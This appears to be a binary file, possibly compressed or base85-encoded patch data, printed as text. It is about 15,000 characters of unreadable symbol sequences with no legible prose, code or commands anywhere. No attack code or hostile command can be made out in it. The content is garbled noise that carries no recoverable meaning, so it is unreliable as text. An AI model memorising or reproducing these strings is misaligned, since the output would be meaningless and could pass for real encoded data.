za<3lkLig)0W9Lzs1%G}syg_GDucIuuTJ1{U92P11*lv}&e$~?rq~({RG$vz(02)_bum5{aX(FQQsYmJUukea1fy&tQ zg7CBNdV7>#WldKEkczUdPEG4b7WZ?8+JIz&ADXo}fel{U-Yy-5 z4^X=!kQ@ep!|DruCg(&30xQFg%w^rRBZk@S>pM30xfeZz!6yTTLy$ah+1ppInXCU? zYs^V$+r=m0bL?l?*>fKo9MOi1T50t$7H@R?N{1B&S-9i2X#LC62NJ&q!WSpX%G$ItcNBdhN zAArDpZ?hQ(V-*&aI!XahjJ61mUH@;-MXYFazObyjX7B!($=3g<3M zf^twJdg<6!iQFSIaYxJ(q+8 z-^Np%6XmEGsRs89LPW#3$IW*XTVv&I?9R7X7Q4OBB(X&C9T71Br$WUY1Q_sNqsB?a z)0}W0u8Ub@KL(qWpC25)3O~1tnO|;6A6o|53vyGch*ZZnPc+KF%fzOUQzHSiy_ zW);7U>SpXx;T@fLKf8fs8`0UU3Zbd`t;_4PYNQJO)GDKYJ7-tX@7d{^kias)hrUFTN3m zQaLLg&T}s?92!FP?_Jv$=dJm>(FO>ja=l0Naaw!9sybR%0uU;@1&=Bb$AnlJ%$MI9 z){#^8zw72J|DcgY@u-eo+Z2XC-+fN89=PJU7A&tR#C?a^r_^>L5ti(4d=RD~ zdhwKks2M=$mol{((D-%%aB6N~hX@EPm}4qB+FtOiLVz!NKM}CYX>tU(klbYqh1BtG zanT01>jeE*m$XM8s*daY5^#r5?hd|4aQuf_VL66UN_tHGV}H&PqbC;tE=>DCLP2=_(_0=YXeGw+#{K3Cdqrtf9nxSSv@Vc8PHb4T(THoZ)}#z-#* z*!U7oAT$2bYb*OObKkC(<7HxewrCgP=IV`wtd0FMda$eBv%TC4*ls}E{eLfi*Z;Gf zc|dw1C`!*b#3efbWu4%dq4?(ko4;1L#s$E#KCmU?C15KVD~ZNE==PS?e*oCW7PkSR zU&~c*9y{(ij12X21Y72dO=rj=%@M)ObO7F1WY9gLIdDQRerJrgFdKpMg#e_TimZqi z%=GkRK(wslKSXn%$#in^4_XYs7=JhLzbK(ad-4~D{l^01UV{ES83u{V$l$5GRrUfn z#|Ux#8K4a%fR=}kaT_ix$%>bcDc%_1v;J852|yA3eT&6EKr6Qk#!RcVdLpuaE^oiD z1UNb_i2s;?9Y%Z~cuz4H=n|j%tp2*;cEN^I4@7_ELF1IK!YpK4xScmYV~-%tqsPt8 z0IHbN0)LkWiZ9X>+J5g2Nb~!Fz2AW7sSg3fg|CZK$7{$t05i```u*qSbjR4tCy1J3 zePEVKdv@)Z+6rhV{J8_f_@Y8cL2<``Zb3Ks5<>au{f~ED%|s6 zJaMTH_y4i!djUM~nA#XLPWyc<#+RHf3R1ZoAo=M@d!NPcQh56p+X7&}3!rNEkIH#t z7Pj%!-R}TM`ZQ2cFw^KOPYsLr-=2>KvApt85c5~O*C8=Q^tCb|`U{?#3qZeK@gUH1 z@)u0&jpc#;<5|(r@BjCnsJ;Z`7S=24+`xJ5vwSZ3`vi3Q5Qh2oFB&^|@4AnQ)gFhL zDQ~Tj!+`Qpl`jK|ruh_Ql@6!nP$$j7NpNdJX(o zvHppnGycNyfBnM#?5#fMAprRAz79qfrupN8S^0l%~&xJs2ylDVG*-h4iA&K&ucNq7sogb#@!q{T$>`aZ7kk7neJ_vrUIVJd$}`= zOArT|E`(p`A7;N6P8w&z+E!&(o^i4)^I zhYGg{97cZb!VS`~o4!S|lb^F2wg!(sDK8mJ0UJb%*9$p&(NW!g@jC)$xm=h#jI~~{ zWEBYx^ehwYW@|UdT%vPe3>+74T;>y(wQd_9+x25m^Y(jie{M8ns@r(rz=!*)rPA6Q z=R5>5B4;Z!$UeQXrtPDiUF`h;$|_%X5=X54GvH>fNLe~Ire^0K%j+JN;pSmGgSmB3 z?>yN~0|e4B%s8zdvle^cXc!ZCaA)RSKs#x?nQ_)A zf$Y@+KS-uY0xh0s9r;m$euu`!z-!4l8p=73_Igm0&Ydwxx9Brx0>wl7wsX;LHQxkq$CS~ZTTK4ch5bTZK``q z1l=0a&w$fL`(ynGB&Uqkrs?drAx&C8RjYA2ftxVLo4_eRb zt^tU*-eYI$@wfZU1Wd9*t}>})}3!jrvuPO+uJC4x#@vC@IjbEL)g zYPk8wV+8S+`mwxzeC*%x7JY_o^d2JIvH`;> zckGp~!cF%+&Wpzge%lOzG4pJ~FvFXL zH-4R4r=+c6);;?^uYFn1G6wzb?lZbi1GB?(@}a)RZt%P5jlE>h?Y&pt;Y&5(UGz%1S{ zZh7C|W^+d0N73cD{uA68om<^F!VVfA7!bgER-M(xt5`W)i+2Z7nkZmCWBaW3PD}f^ z$sm_K;9mQmC9t))$Ke&NYNX3@g=j0&FaLH)*KB0xDB`4ab%#%6g|h(9^*uh@duMmS zzV&ExpJ%jrY1=fThdrMC`}VpaZG>k#TzbXtzPl%OjJcPq9ij#3LK?sh*a7we9Y7D% z13D2crV(vm8kiQ+0rr3$U@zzaI#3O!5orz>v)KWXyBK!IE8A9Lb#Bb{!AkBM!UcBp zY?>9b%W1eLl0QoG28>-dbN9RskELmyaAWn8-Q;Q0JFq&^}UiC^{|ao zr*)ski+vRIqC{zehQk(Ia{m>=>uSg|Fx<(=3R`Fy>ivMYS8>E~0<1`w))u30lrJ48 zoCw$h=4@Ajt?^Q0#JEl`N^>es~(y=Eg7U@G}EFW%Udw`^x1tyl1 z+}F}MfU}M_hkGUau>d_g2-`u}H7zHpV>0ylxJ8P}M&1V*VU>;N^3aKMvd(>#B3YhE zkVZ-}VP_aUA&JPLC6HKOF$V=X%{0O=5m9>PO&Tut>8RrtU=~4nxEe57e9ra)85IxK zhDb%Lp$O&j@p;9GV?MLpepd#KC#o)UvHAcOD;PE??f|U^{RRB5`Ul8PRF~TSKGBk) zE#az_2%Yli1YdA5+As9WnqJq2hz3PUzK2auq{pL?t4`F{++=YvWi7gTr$p98!xe^>FlF$T11T7&9V@+J1B)qC<)f~l`4kk0K4F8M4D;+7fWVsE{ z))@5Iu^ljNetZ-CrgY5SFh+a9B}Kb1AU9Z1viZrK$dKGxwo^1>> zoXr*3iHUwL5aOCW+_O<8rN1N1%T-TA%~4Ew{r>)!;SMCKx~~M z<5;MoDB7e#)_v{Qa~|0se6gXN(Jkf?a4F`4{}8#E=7m&;;aGIN6?%Ng=yFpaoxW3) zXCWcBAO#_&rv#5s0ofYU4HI?rc6!X;uCLB0^7XGd@>h#~a9gm(%=Dv!I44-$_S!dM ztj_qwF75L3uO8@M{T}l6i|(uWYxHRSW*4+j7g_;L^8j9e3Pv#-=9_vc z7oweD}`=VR#x|y6Hd5|4aput)!DEYIYM#rnBAS#ur)yD@LyHLNAxHo1gX^ zCV#z6cx)t=B8gM>Zoo$TXI=s)Jn#}uEkw)MX#7-)yB;Mw$ZXdB7!Rr>^}m34h(1ib z6Qqc2t8#3_=WDd^)kz7DQ@mnq7ra_N)2K*(g~fM?Smq!zilq-?`J#*fGi|FrTTeKX$C#i@m_yFOar$K zpG7nwfyVRn-{T@xwW!$gTF`z1+aeE+31MecI`!xp;=3Iu^ivuxjX1nSI-d~y4Di!k zxeJZir)XKIZhdp zN#;Xz^Ep;zRR%CryxP;M>u}L%-nR|z+1zd$nd~gxMB3igHWq^$MxSwbXqJ;vqh=B* z-zKZlmMq_-oD4fnA7eG1Wj}7&(yBqP*YuYZ!L1{ahV>!sWu#~qe_QU|ChxLpmtNS& z*3&d+eW8)TUYko69YxfXCn)jjPppb`!41FDhI{{*x1XbEE49AjaUWjk--j zr*v;BVI8JjDK!IXhL!P*Zb@;Qq;rS%Vi&_U__?Hbx{WL^sT&0kOW8zH4wa9O+NJTC zA;Jti+uZddJ{)V!Ed49+M2lRU@j(u^-bRt%si%>c!$`|1r1*3>fBGx0f&uPU1Mb>< z;_%HmMZ+Sih%Pt+56$^i*WIM;{<~AB-__Rm%&y9pTn`uELElmrp|LIQuc9w4yN;Va z=v$QGCAU}U8#T?OGgNE<7&|mAV*4G$wipS&F1bt?u0qSN{uc_pN1e^C9T)aNA9|M@ z`VH?gYr}BN*0gvX+bcIytYoLSi!X(#-pJ8KAC_g8xINvfW?O*i z2k74r8}3u@eoW+daJOOhZRvtXrW!OA&It$5j%3@JX;tj51s7(r1vdK*D~qs*LfYZq zycaB|-<1wi`3*KJ>4WT*RLgiJU1S+s6!v(d6~4n9nY>L_w9JAm5gLFOuC@*%Ec9n} zNF6Gkf45FaI^V6oTf)IK{*K&!UFUIc#@~&$V%PrbxYELgVS-ih_&fQ7giYb>FDPB$ zQ3>C|egwRd+V(q_3vLzI0E*l;0Ixkq0!xqWo%9Cy4ez8kfZrG(rZj^6$;093&)W{S zEU14$i(yDVWy7G`P-=G0c_r&G>NW&1w!_!DF_q(%z|}q_go2ral*L*bp->yoOeCou z+o)kdkRxw1l$l@i00-{xizMg&h`7Jy9=7nClIxgtSgX9~LB$j& zdEC#Qb3E(CjX@+kjmjt>O#BC3*Eji(rX$!(rR!(l)sxi1Q=5qgly#+hfS&;TrHkxo++(sxrZW! zqVBw`NaS4WGYVtTnuVKKbSKK3qA*O@PPvm=L@!8ieoYb*Y{gLpo$=z+W8h9l$JVMh zMgvoh6>N@;5~yMZ`POX&5cpsPS+_F0hlXW}ITIu#>)}qXD0Whfcay_*LZRefbt5C* zxJdfCSU5>RK+2R3g3Np~e-rL%TyFubBb>GoeuO>&^e(FMk>8C_4kuL~I@X=(<`OLK zBEoUoGl|=`r(u?9CKu0yuP;?xIce2>RtRztuGhAQU<31m&mOCR;S?pt<>-Gl39GC) zxb(1SQ3ob`Vif+XUH7K8_dVcm0@QJT8_ZGT5i_{nMzG;C>=oC%3gYI8WkE_7(ST-4 zwI_b+Fw=3f{y3b!9ihqBS~Rk{r##TSX(Z}Qm^Zo+Z^D7!Ha;XWSp67|Y{}QR{Y2$1=CwlaLGiYk(o+DG z2w@@b^cdsPCLMUvpU&H`{Vj4XQ_u)6)}iy1EyH0}rz$YBBanmNl+Xvaa(qa{=v(+` zbhFs`IFDif^Tnxhaw${oX=Ff2-LdZ{7i83jJVefmDSZ7CQUAgGiIY+ALzgj~N3N=H zhCk~?;`Ey6MLz__geH+35smM{32laypNm2-7`0EmCZ^)s5X9HN0(UQxBUIWe6LXt{ zX?y5#^szzS=fB2Dt0|`O``UQDyV!{3JUeLNc|~a#AAxw)oquGQ`3O8>2?h`YL~}H8 z-Dh-H%xJmRjBku`g)t=S3>@iymc{BI-cb8~g>_ldb0DlY>E-&S%VtPTUL@IUJZ*35 zGmql-G994OnKvgR8H24oyhIECDX5-|6A(52#}xg@<57mu3} zeuFd^eDcq{ux1xNiB)(pId(>FkA`SJK>|*jO4p)iZO;^e+W%2F4B36 z#*2*?YIW5=8 z6!JO1u1RrYd4XyloP0QB28)KS^Mf6TU}C~brD_B-HAJykDI^hE`?2~m3yRuVH~zQY z#%O~7(B=}~eNvK7IYm#93d@^cx(Z+zW-Ifke;Bi06jS`Db+hp%6N5dA zRX`kUd02NH!K?<|h+Pdo4&(u{B-nFu`zS3RqH>yXDIcyy52pUVCYA@;gi{X-O z+mIZpS4v<>IbzXlmsP%^9YDA2nTME!$N>i>e#bo-4B6_7sJk9Qe8l9r$qHjGHhaYK zcXVJlsd;!;^dl{i5ovruvK-j3M#`YTAN4!3|7)a?GUt|s=`xR zG8P5tmTU>8H+B}`bS&GmFHR@i5I7X28=51VWq*xw%pfGS zmZhv3cgpZ@O-!bP>>oo)rRZqK4*j`{6iH)WCv5m^TUqAT zI#b?d$PJBe73%T(_`dg-Kftk}f=bR@m}XGchE(31i|M6U;GaYOO5t|uA$E^^lb(ol zZI~+?2q+>tAZByM2n5t4mlPnGt6C~iojWFx7p+msieFzG1@?TOJcOp|0aRy=!j2v2 zEXKJ8dfz}W)_oWlpMtiTAHaA12WAFVRUp_Tb4O{pajg;K)RHyTTT%~A)S_WC6fs+h zTR0X-fJMTe%%TH_!}##034m>k^L14e<`y_EuK1$}Jv1u{+R}wo)MK+_!bPZXU>s1k z$h9WDHH6qr6m-{}qH4N`pjL5-DE6wi3<{4N%duy1LiE&j-^02DPcC6liaQbzb1M;2 zRC<|3^rHm3{HRJg1EyXDWA5|7Jr7$>wIW4^0-_l3^f!08s)UlvGbE%2Ggop7jY0E8 zO(jtEbX9{}0J!}EJO}+*tPH7VvXF1D@{NwGr9A~iKsfZ&d>FJOq9owuh(I?iI_}RI zffT=FL;`Q&QVLtCi7VH{nIaBa+Ao79F6GSsUB=-C(Y4bmjd1MZ1diW7wI{Y^;dBV@ z)}r_3_cuXWftR<1K6i)n;>Iwtn!an%f)NU{D!~4r?8Q>=bglj9xN@#E4$zW-9DSoKY$*o| zOtDgy<}Faa6d%2RN&_s($wJtv^tPv)buO7|+!TQ5c zjMu1iVO8a7(;D-R(y>YI0w!&x_~x*=zjH38Q4)-vT%KLz_zf7yc!^|)t7=DmT2OLE zLQEKgnzAsyzPd?1y>!?XKE}gt_}9`zCJQ5*klF-vLF%44_p1-o$$RlcWI9=AS|lLQ zFBbtSR1^8_#P)Aam7Z0h#0lRZ%IjnwQ9NLEdx*~%1dQXvKGf2WH*PF%F#W)iKA z%LBcwK@BKilCf0%Y+#R#OlpcZ+;JQnp~LTb$;nJ@KxAKQ7(8cYfIjJ?uLj9NpZ|zu z_nN;4WOhvfaVZw=P6zhdA65&{W$p+?sm8A+C{0IkuRF-IewD;>V6rsee&r}EKU54W z_-QJJq&3VYy7iuTcXYGy@QMsaA%fR~0>Mr>L6_Actzn?EZIOzL_=If>8ij5(33ZqZvaZY3}RMhcX7Dx?Z+0 z+z7$MNaJuxqr+|{X$p{SOl@QdlQjPG~JX!JZI-&zpbQap_m?(!R#_ly&*0p$-y zdy-(>whQg-#Xh0})cAv3vhF+%7_#d+6RbG!R`r=|dgSkO%1(?3^s6Vpplh&#MkQxG zcZc+3>WR)` zG^3Y1PV%&zIrm0&_Dj!q_z;;hg71V#H>f-@;Y`lVgc=)qcG$^nuZsE z8h!(3bSlW`D!)HB7&(xr9c7R%ODS6e*OhY!>AXZ|6e|+JeJ;VsCUWQXnM|kWIRlV@ zqgwW;x4sBavKQ#-gv)qnqZzl3Wzxy%6`LvoQK0mY;LDj<*2y7@Z&t`T3#DsT(@c+n zeKwudWzJP&MqQHHR}M&4`0H;<=Ch0%80|ZEU6uHI`4lE&^wGu4iWI*YuF?BWFO`{g zB_z0E(xYLxf<`89Fb$iIfYNEHLb2} zhx3wrvcFMr%ZatL1kZg0jr&OH3M2;ct>(OVV=kA^fY8}fd@?TOGoS%=yBh0S!JE2_ zhVBiXJUO5BCDWi)=KFe-aE9|4G&y#ZX*a{`I+GNpPyIyIbN_&}`_#3{1}lkPluC{0EZr(>_F52q@Hou z<}_+!ftv)_#J;|c0FLY(cAjUnT6jjuY%~ZwUV9m=MKZx{e)La>_>30|j_fQb?Fhj` z&gZK`w~hG5J)`4(vhOFL^PM||u(>?IgEPCb{yROr!+m@STQgFS1Op?DUFXt6cfh5xH`O7E{$_UFy zz&6U!dmxgIF|EzM8}X2-xxdt$`PMIb#UsgUEQA`~aNe-qbcKOYe_HeKS4X1b{yTJ7%?K#_6h`tpOMHDa<%p2hyx#eIV7n5v}de#JPg(lQ;lT zSew<^@xZiHJ{VrRu%PTXs%s)eqcN_6iI2TpnHw=S5BGp7vK&J|;(3+>LK=~Q!z-Hu zMw#h+Qc);EzoI4!f%nB~-0_CjaD1s=pui+^qSbiGA!$=()A$1WEIW>C3dp8{8mV!m z5@fTepL|k>1mjd=cM11zZ>T_AB4~t5A#;U}b}$p^rReiiSM3sM|3z})f<%cl!U~1g zXVm74RE#{sVxIXZo&bq(`Qp>;p@?RE(Z_bT=90{XQykz)_pD2VFUnUt+atmc8L*xt9ty~Po7wKWCO^|hK z!I45lI8;5ygljNkH&bvy+K((%L!n_H2w4rfJ(RwvU68dVK-^fB6BLGlWpR+W`)eO6 z+jlo`6b2xk0lgkV2jshLi(uGGKV2@j_2 zIn$vKN(@oOh?~IT7mRX^0mSV8<(gPQs*gt@0OX=pm|yPw8Mb`nbJ_o}kj69CZkodW z{gzs1^d}L{)SUr;vos`M=-DYp_ z_{~`HsJId%mxuab?`9jE4XZg;^cV>vT`;)qoGaD`azZ9~i|(JkZD6ELm0zUjmq86Y zzn`s&rY>N9{)9z$MYdqTB0ZvUL@QFB7w&JX$b{NLgDR4`8Z%pH$IX^joc= z_^ApmEY~1{#40=KY>|6C7HEJC{crQcl(jE%t6o7QhAGg#rtGi^IiHPd)>F*i0ByhR zS?AUw{mn#geFaj1)u)UTiVc;u_8YZ5QA4pb7O%EL2@{Vj)<*9}NlxLR9Q+x4TW2`j zw#wPi4XsL9u|V|k$Mg}l@_0X=D<~1jA0q(X>psq{e)y63euR!5Ty8BKlS}udPHwYU ze2>gwQ!<}%bbADMT}9-<4?^|#(ou2I@p#A{VC(Msth3xeMaZzDuj)TS_9t@5dv^eu z-tPI`T?tlsBib)B=ENOOfMfFs6J8&p2LlZ4EEs`vw3eH}HA=gc1BMf)do^CUPxESY zeqli)l&n7#%t|w!USQm^+ynEV^CAiJPQ8Q>^ezxb5PYr&Ap0h6Cq^fruZ!@=;HLqi z{_quB7-?%45Ggem(Yhlgu*zjl7CA!#XH@u1Wdx~S4ToK<;ndx=wKlsQ3yWePFtV7- zEemqEfD<^2p6$0m?#|ydt_alI>}^Krfe1ycKm+?GHmCW)F`e|Qj#E@m=oLyihJjl6 zeCY?8KhugTpwJNZca5gg_jcuVQ^~^{C#FF*hsbJ<8uhM9=e?U3U~95ANcEt3c18`FV4ca_%I^7ng1P1ghmDdH$s9$C){&dZ7S|A_y{%E z>++U*?@@OCV$$57lbQbb!IG+UF8 z-4(CzQ!eD{R5M1S(81Y>v7-YZ=0}n3 z%e?+MK@dZ9b*;#-hd|Ann5VrCq=-843vI2;d@{7@e? zj$<8~BGMizx^EP=6st|#{82>loS-pxf)Vcf$ZbsIx&I`T+s`KM8>=MWBm@QA|4}a* z);Esg!_Ms>Q@%|M%nIVtM_n5=HYk16xcP*~1D6M6;`R>{#heRtYsH{Lqp;v<@WNsc z_#M1TDk%Ab&iXUR)<&=dc{55|U3(sKo)A>5xA_@d#~tCIaBX;4l`r!F%9n)|FGDX2 ze=W~{(8onwsA1wJzJR>gF2UROI#?ctYy?xoMmH%eN8N4D$i5o?jQP*v@nGIYb_K^c z@UveNN_uQJ{W1*R$Z&bpM=&QqKj(lgpg+HhAtXiE3Gk%4jh&tVJ`e0PmHG?JYC@1i zy!iy~`jC&nYATv&^voBg*@k1m0eAjafwt3N_qOnmmwoj2%1<^HJpA$lKSa$rAm`@K z`v@@b9`U?yXzzBEuEFyQqSagCw>F76H-b=F=iOJ=J}@!|d(B<+6WsSfCLB+ETRTHM zAX@VM`_NZ!1$ExO!&n{`-qGXh{o&BKu|N7{U-Bm8(No`MAqeDg&*X*8GNN7&GOhxq zgi1V&%2wC`5B0`(y(Db(ea~{ZH~VJX8hZiqU6>8fcHa~nQ@JaT0elh5PSSbHnbZzA z!)2h$er-0=y4VI?F=bfqsjX?km)JTrnV$4I%d>C6vp%!J*E>*T2_D$*WEO> zrsWpZ>%J+91#U)1eoSC^BI7>jE||+NRn+(c+MW)WRuCXaT{k54fuu7R z%@wO5?PhnUYzrN9^T}(=l1vQz9qta_r1M^ zds1#lN2D79Qf1b!asP2#2x-vL@Sw10hmZ#Tk_z!ov~#eqXsdA?47zXI+vU(mU*GJ* zgKq!XDu;Uw*I%NV?@IgzcUHLL-On|7?ri7j;O=&~{gNti-{lpSdH=bp+-0xh@eh&9 z_P781%Dvk=*8wBNIvZDa^U(WdAGqzn{tM1=+zMeGu1e2+g-CWh`wp)>?t2iv*<1D9 zWnm>B4kG;^9x%vXVYva9k>o^|AMsodag+8R9Zo_d8+HV`LLwNkd-OdZzY7icr zjeIja4|yxE`JUsuoaAR4_fM&B9?nDWw)1dh*C3yVowo#u&)Z$3*zG?&I1l~WW8b~o zcdolgxavafzQ&8+w)?iEZf{p0 zKJ-24g-N$s&I^;?H+FYBA0%?yb7S7xU02?5zsBp5c=qAG!(TO3e%mjpQvb>E9Bg~@ zZb<*RtnW(QySmuOR^6Qt*m<=cd*6Yuj`x~659PS~;LdX2S)LF^is!Y<-QCqx?^ht) zy{p6Rgh_2r=xg4uK_2Tik6%}}ee?SBv;3|~a8HV1x$|%}8{fRbD+_n_DIK;wH;&hr z^==Hq9cdTGE6Z;_Bq0#)vUi7Y@A`b_{cz5Ie&+pMJM59*;v1Ve=Q^=2v(HdL`~*;gUEPcka9ItPp6c zIbD`r-uv@9?weN|_d+-wkGT%s+Hw!JWCQ=XEc}!z0pT9x-DR@Xn%wqWxbwJocXI6h zaJ9?t+xE5>17TO`Ca*1zS0%Z_J$_eV%;mNlIpV*h{m1(c?m)Y@y*U;ZZQp+{TACg1 z?Z56K?K-={{l{hB{3U(4?@7A8B}F5Jh43zS8D5p(F0UbgEsQDsQ~r=6sKP5D&VY$Kn3AZ4a{hR=wL}o)mYu_n;lS zzU{ev7_ab`)Vn`CUfI3lnH37*aPU0Db@(2~Lf-1*^^NzC?E{T}`wwnom*>NGxLtiR zjMRa6u*XSmFxYm_dZU!fZ4Zr9sO@gdZ@weBY|hWmHr|6XuqS+Z{O4{-zofBu*Psvx z7vJ!C$a8XM-yY;Tek&}`E6+EtagujCZwPm{!$GzhqmjPB&iZ6{Wde6sj$IpXpHg4{ z#qiAGdDwaD&{pR@guC2f`Nm-+TTS9!_Ff3&IN#+JNbbO%aL41$f-Twbb75Er^xb%x5I5ucDvD*JL`Mr@t-S9@*Qc{)OpC)xAS7z?d^`wLmmUwRNuWvBL#Bb-*#1s z=M^XSni~5gyt_*LHV;>p`|iSRFYY|UMc$;W-Jv z!M*Ld9Vzy`?ZvK=(XQd-pUZwp+g{v%HqrK7URmE?w-0?tLL)XmKfiAm7V$3o))ww> z+k4IT&>181B5Ml>hwf;Z-Rfx;`1$>#Xeij`yD{ zzfbAU&z$wH(C)F@mEd(n>a2HTK9pzQ-=X{^jpt!abvx|iLwS9Xe3#|*MG|+H3L2_PFhJCY<%N zZC*RvdARNZz5VS!IqtsKcllk1aNoSjai6>Qvg~%?&;9u?Y0F#Z^+)YM8L1C}D{s56 z|8O{VdEEQYuRtCH;Z^8MiiFE<@Yj`WJYIdDhj4f2?%@vi{&QtCQr~$TZhMf0T_w)? zx$VVD^Lqn#pX@uA;qLk`sT{wrFi9TDJ%;=HCFR|_owq%B?rz+FZXeD=9-R3tp4aZ~ zxbJZLlm_7{yz+iesSoZ++`ZxOQ|jYCKf~RP;m!*AR(=1iZ`+IeZy(8Bb~_JV;hw}< z*k$5`?;|2|+jEED?#gfv!gsE}Zy$QMzix-yp8NV1jZ~@sI&ekO_F^~Kf2{9s+kM;% zlU5e)ZvP4Ctopuvim(6P-v01@4G!hG!$x@jy?qD|ja&{I{00r&jTtze9rXqe$Rlze zvyxR!PQ@ynF34sRGM5`8c71_Wad9gyMXWKaE@Lf=e~>oy;sS$Ct&C;GA{LleF$>A% zh3s+~BZ6V!vT$BjPRIC$AF;fmkWR=mtYj9|SX34nFeDPmky%w)NUkh1T-?e_3ye1* zy}-(lyvmCT%PT1bR)r)MudI+@JiaMDd0{mflV4k5Y16T^WLXl6iU`KJSQ)u^@Z`es z+Q(v%U!_fx#UeD9D;lk&pi|Cyl1vom$gC=3?T7_dtct?wf)(|gmW_?^pBSubKat5S zDl6y|xsT83^BLvE#i_Emj5<0T>I{sR+4x9)Nt=3Mg+X$0WhHs8i|Pz4>bazq^|Zm_ zTpm2-v^ZChb0@8?Bv;khPn;7Uxj>CnMJ=Z!(#nHm6>>}xne6H!7QL{NTwcB7vLfHdXBnNwWeE%k)&#BETF_~h5sWJfYafeVI3y8@)wGXXT*xcv^bA+@06OK# zv?&WKuyvZ@`oppeC9v1x1xI*qF0 zf=;QR(<~_HbZ=>uC9#ZNMI*6_M?I%t#iW%7#;E61tLs?>opK)aoFd0Smy%#$R?z9j z@{%_7@&bD%!M-HB(vZijG25;ck!N0GP_SZr!)@`+K6*iU6xLY)Ye1C07cweYRZP~7 z&nXymYE?v1eULWwf=;8dz>H2<(CJkca(-|2@j0#PD#Q8$J32m*G<2GTPMz?5?9$q~ z<8zutEK+58RZ&?{rA@uCidshKvB>Ny>QPP3rX?N@nje{ei(ylu$x98XOW{#4mzfBgDerT>t2@U;d0yl@C4 z3)>$&z?~V0)Z_KHgSYV#UZua@HNsP4hKw9Nxg0Zi4jQ-|GjKLwSV;&(UV9xF&mHy~ zjcHGbVgd;x{KP#8pzI8Q+r^j?wwH~82u--8NUeYZ83=qYOAzI@(Ew`9y`A<};btr4 znD^dm13u3oWmjpA@WSY}mA%_L3`{EA*=ZB}9uPdaDcEcWdI-CMA}+`mP)AikEe{~k zqPLl(3a>0L8eL>vJzODh?bvF83=tV3V~}E;Vt$C>2@^yZ7Q)P0AB<3zm#i09E?`N) zT5*-eD$Q!B%7iMMCoee29gsj}U5-rAF!ehMvG*44ef*J9L8^l&2XFy`OBOCQs3sJ< zrHCz4TbevEz{v=wx9M!}P4C@A!bpX~R4Z~R5`ajCXtUI%B?T?FEMu^|aOH<9B&>L` zqGEV9BuXM;ZwHL_PBP9n%oNDN7zjK<2QqZf08&v{f)L0D;Ux$@d0U_lzzU``ryQAr zn?iwWf;;55V($iG?CnGI;pjT-1lZtuws!+#drKKYN-IT;qKv`=iU?5HqvVtNNs*H! zCqYIZG!f&ViOCC0bVV8v=|BWT#9~Qs7iRagOH!hP5-}wlD1nh=EQt=u))5385i*p6 zkP$*92+2XpAR|FGBTR~PA(8=hh}jSpLK+}sC&&YWxItj(jLlTo zM*%-Ed}{EK@`2)G;ztQTg#1VWM2{YN4Dpa*hY34^bQqx{1RYUwKIEiw{2Xx(oE#0{ zpmM{A4JvQvL8L;0 z6g8x1CZ+hLsF5PZ5gMdvK<0r4Q(9OJc0L;HXh0%^9WwYCG&AUu!4^1!Tn0P?6DWQ_ z(E$aly@rA4se~0*wS# z6OjZJ62Tvdq8tfMVgd_%umA@OU_ilw6P`fu+%E9gsBweF&dzYy(=+TH2}#KEdAQ}+ z}c`7g3{^#e}rz3IC zgOj%JJMKUn?l&(?f_u`I;gz@HzPB59-p`fWo~tCp;|aYmiS?c5_Lm3uB%BlO;~l{( z54UoDb6X-?^<8#{+pntc>TmY$ZWr0T_+5kSt+qWLzrxtY#?LbE?(R0PzW-b$-nXRl z%5O`C03k9|Q-ur>4Jq+qvTLgETXo|i-pczt^v!E6p4(L^hlZ^-uQj-{!tUeV_Ew*F zd*^|#NeF%g*6WkIcJ~iLvcXfvyDekV)Q|g@yFy z4<16AmFs}Jm*EvDHUbCbIvYY7v^2op`u3miK_RxgZ7=4zw!6drgZufJ=XSVVhjMU@ zyO6E2ewJTh8@urAlU}zkfxGv!5*)h}qo>kh$n+4m)djo{kZ2u{WMd@d|^UjKbb zee1e6T;{ny9_!*8*|+`eKe)3>F0a9z!>!BTH5wD$Jl0Gzv>(;+Lz?~1#*4KW^N&^O zK;}~YY(}G>7wc%Tc9#8R6YcXG^h4D-Hop8%O{Q9^Ce}-}s;Xw6XjQDCU#f2Yw7>je z{-&jBrZ36A%aVW7|7@y0Bm2#+ziTQ-V=7~+&pz}Y>#~phyT*%k^D`amvyc3Bles)| zj#>TPR7ayvyjU-ze@P5Ve|~H7FMs*bnx7;8rp+w>^FKdd7Hj&KeX)JMcN!3iX)A@7i+2d*;JQ(=x?fb4%D`5s!|Y^ z>!+F*nd;>?*2J3rX`lI2hyBe|i*YBh7W?#Hs;N;Yvsh2nW}p6NW*@3{ekM~L-|*=F z`n$&7G{3QyB1S*4UaC3sKYvpVRg-mlqd&}8 zGe4TI{LZJEL!F#{eyQ46H`Vm#OeGzKe)^yN<~MVG`a9M1=gZHTOEqu)=bv91`j2&# zW`1KW_L;xz^XNC$^ml%;&-}(Z?T3A0{q?yj_LhnV!ak>)YTo=}z7xKWobVm} z&+q)vZ>+CA-??Jl{7iN9m;JN9KLqFL^e!h8*{?H%xpTGHyHB-&}#+v?TpX^`# z=y!gndil51(Z5ue`8zvm&)b2$!@%BQAv_mc`x0DIyo1NWSe}JJcm?iw?7scy*P`2f&pS`R`AsLsQHlq4^H+9K^p`% z3{nRqCD>UMK!t(MZX%x;Vpr`gL|Fl9Oza>UYVfgZ5!5(P#03yExQU_yhf4$&p1ODo z7LeduH9awEa1?DIE+D0cC;Nq(8#y!rs3|eVlL3mF8)(h#i2$y>&8$X~gyvEQO&n-^Kw}2Y6PhN>C$kC@ zhgnl*RhFa7ffdN4$aZ8FjL9(e9J7sanh06}G#Y({Rzkx#(||KEoLS)ve1-sGXT)AC z6R>n)S;EqTWzMoDtShQKQc@7Yl@EUG-GGk0&7ffB2*v=gDjwL1G9Z+B%alO#1?4M= zfn-;5$ji)&s4IxBGF?!*T5$Ei_2g=|YS;o{EBIsU1eqJifIy}L9Arw2iD68cF*Y$R zh|!4&z?m??FgIGSmJN&(j1@39vTDe}`hxYP1XcmCkg#s9(5{Ml*j6A|6SWDk`DsM;<=bOGzKVhYSu(NxXxd1N|DML-IS)DtON6c14=L;>NF04`Eo zkk|kP2C52F1zVW5*q(xTV&Un`)0ij!M8j$7By@tHDFMbIj88_J@c||en65C{6tRj` zh!-GsA^t4QP)18omJ38>L4oB3EJrLrSBkh2LzXKtthivM$%>GbB0~lYg;a4?p{lZ@ z(xd{U6oZnIq!^OQlDs7Cm}!{hFnLMbfOv%1D4qZ&8v_q@fC3T*ka|Fpg2aRLLfC`w ziNy+ccnkQmpwA$fLJ%vc3zFD+soo<%5`a;_2&RZIMLDI&Er7eaEm{Y(#}=mG_kf=V 